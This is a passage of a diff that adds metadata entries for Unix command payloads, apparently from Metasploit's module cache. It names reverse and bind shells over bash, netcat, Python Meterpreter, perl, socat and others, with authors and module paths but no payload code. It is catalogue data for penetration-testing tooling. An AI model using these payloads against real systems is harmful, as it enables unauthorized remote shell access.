"autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/meterpreter_reverse_http": { + "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", + "fullname": "payload/cmd/unix/python/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/meterpreter_reverse_https": { + "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", + "fullname": "payload/cmd/unix/python/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/meterpreter_reverse_tcp": { + "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", + "fullname": "payload/cmd/unix/python/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/pingback_bind_tcp": { + "name": "Python Exec, Python Pingback, Bind TCP (via python)", + "fullname": "payload/cmd/unix/python/pingback_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "asoto-r7" + ], + "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/pingback_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/pingback_reverse_tcp": { + "name": "Python Exec, Python Pingback, Reverse TCP (via python)", + "fullname": "payload/cmd/unix/python/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "asoto-r7" + ], + "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/shell_bind_tcp": { + "name": "Python Exec, Command Shell, Bind TCP (via python)", + "fullname": "payload/cmd/unix/python/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "mumbai" + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/shell_reverse_sctp": { + "name": "Python Exec, Command Shell, Reverse SCTP (via python)", + "fullname": "payload/cmd/unix/python/shell_reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/shell_reverse_tcp": { + "name": "Python Exec, Command Shell, Reverse TCP (via python)", + "fullname": "payload/cmd/unix/python/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Ben Campbell " + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/shell_reverse_tcp_ssl": { + "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", + "fullname": "payload/cmd/unix/python/shell_reverse_tcp_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/python/shell_reverse_udp": { + "name": "Python Exec, Command Shell, Reverse UDP (via python)", + "fullname": "payload/cmd/unix/python/shell_reverse_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_reverse_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse": { + "name": "Unix Command Shell, Double Reverse TCP (telnet)", + "fullname": "payload/cmd/unix/reverse", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell through two inbound connections", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_awk": { + "name": "Unix Command Shell, Reverse TCP (via AWK)", + "fullname": "payload/cmd/unix/reverse_awk", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "espreto ", + "Ulisses Castro ", + "Gabriel Quadros " + ], + "description": "Creates an interactive shell via GNU AWK", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_awk", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_bash": { + "name": "Unix Command Shell, Reverse TCP (/dev/tcp)", + "fullname": "payload/cmd/unix/reverse_bash", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_bash", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_bash_telnet_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (telnet)", + "fullname": "payload/cmd/unix/reverse_bash_telnet_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_bash_telnet_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_bash_udp": { + "name": "Unix Command Shell, Reverse UDP (/dev/udp)", + "fullname": "payload/cmd/unix/reverse_bash_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm ", + "bcoles " + ], + "description": "Creates an interactive shell via bash's builtin /dev/udp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/udp feature.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_bash_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_jjs": { + "name": "Unix Command Shell, Reverse TCP (via jjs)", + "fullname": "payload/cmd/unix/reverse_jjs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "conerpirate", + "bcoles " + ], + "description": "Connect back and create a command shell via jjs", + "references": [ + "URL-https://gtfobins.github.io/gtfobins/jjs/", + "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", + "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_jjs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_ksh": { + "name": "Unix Command Shell, Reverse TCP (via Ksh)", + "fullname": "payload/cmd/unix/reverse_ksh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Wang Yihang " + ], + "description": "Connect back and create a command shell via Ksh. Note: Although Ksh is often\n available, please be aware it isn't usually installed by default.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ksh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_lua": { + "name": "Unix Command Shell, Reverse TCP (via Lua)", + "fullname": "payload/cmd/unix/reverse_lua", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "xistence " + ], + "description": "Creates an interactive shell via Lua", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_lua", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_ncat_ssl": { + "name": "Unix Command Shell, Reverse TCP (via ncat)", + "fullname": "payload/cmd/unix/reverse_ncat_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "C_Sto" + ], + "description": "Creates an interactive shell via ncat, utilizing ssl mode", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ncat_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_netcat": { + "name": "Unix Command Shell, Reverse TCP (via netcat)", + "fullname": "payload/cmd/unix/reverse_netcat", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "m-1-k-3", + "egypt ", + "juan vazquez " + ], + "description": "Creates an interactive shell via netcat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_netcat", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_netcat_gaping": { + "name": "Unix Command Shell, Reverse TCP (via netcat -e)", + "fullname": "payload/cmd/unix/reverse_netcat_gaping", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell via netcat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_netcat_gaping", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_nodejs": { + "name": "Unix Command Shell, Reverse TCP (via nodejs)", + "fullname": "payload/cmd/unix/reverse_nodejs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "joev " + ], + "description": "Continually listen for a connection and spawn a command shell via nodejs", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_nodejs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_openssl": { + "name": "Unix Command Shell, Double Reverse TCP SSL (openssl)", + "fullname": "payload/cmd/unix/reverse_openssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell through two inbound connections", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_openssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_perl": { + "name": "Unix Command Shell, Reverse TCP (via Perl)", + "fullname": "payload/cmd/unix/reverse_perl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "cazz " + ], + "description": "Creates an interactive shell via perl", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_perl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_perl_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (via perl)", + "fullname": "payload/cmd/unix/reverse_perl_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via perl, uses SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_perl_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_php_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (via php)", + "fullname": "payload/cmd/unix/reverse_php_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via php, uses SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_php_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_python": { + "name": "Unix Command Shell, Reverse TCP (via Python)", + "fullname": "payload/cmd/unix/reverse_python", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "bcoles " + ], + "description": "Connect back and create a command shell via Python", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_python", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_python_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (via python)", + "fullname": "payload/cmd/unix/reverse_python_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_python_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_r": { + "name": "Unix Command Shell, Reverse TCP (via R)", + "fullname": "payload/cmd/unix/reverse_r", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Connect back and create a command shell via R", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_r.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_r", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_ruby": { + "name": "Unix Command Shell, Reverse TCP (via Ruby)", + "fullname": "payload/cmd/unix/reverse_ruby", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn " + ], + "description": "Connect back and create a command shell via Ruby", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ruby", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_ruby_ssl": { + "name": "Unix Command Shell, Reverse TCP SSL (via Ruby)", + "fullname": "payload/cmd/unix/reverse_ruby_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Connect back and create a command shell via Ruby, uses SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ruby_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_socat_sctp": { + "name": "Unix Command Shell, Reverse SCTP (via socat)", + "fullname": "payload/cmd/unix/reverse_socat_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via socat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-04-27 16:21:34 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_socat_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_socat_udp": { + "name": "Unix Command Shell, Reverse UDP (via socat)", + "fullname": "payload/cmd/unix/reverse_socat_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via socat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_socat_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_ssh": { + "name": "Unix Command Shell, Reverse TCP SSH", + "fullname": "payload/cmd/unix/reverse_ssh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan ", + "hirura" + ], + "description": "Connect back and create a command shell via SSH", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ssh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_ssl_double_telnet": { + "name": "Unix Command Shell, Double Reverse TCP SSL (telnet)", + "fullname": "payload/cmd/unix/reverse_ssl_double_telnet", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm ", + "RageLtMan " + ], + "description": "Creates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_ssl_double_telnet", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_stub": { + "name": "Unix Command Shell, Reverse TCP (stub)", + "fullname": "payload/cmd/unix/reverse_stub", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Creates an interactive shell through an inbound connection (stub only, no payload)", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_stub", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_tclsh": { + "name": "Unix Command Shell, Reverse TCP (via Tclsh)", + "fullname": "payload/cmd/unix/reverse_tclsh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "bcoles " + ], + "description": "Creates an interactive shell via Tclsh", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_tclsh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/unix/reverse_zsh": { + "name": "Unix Command Shell, Reverse TCP (via Zsh)", + "fullname": "payload/cmd/unix/reverse_zsh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": 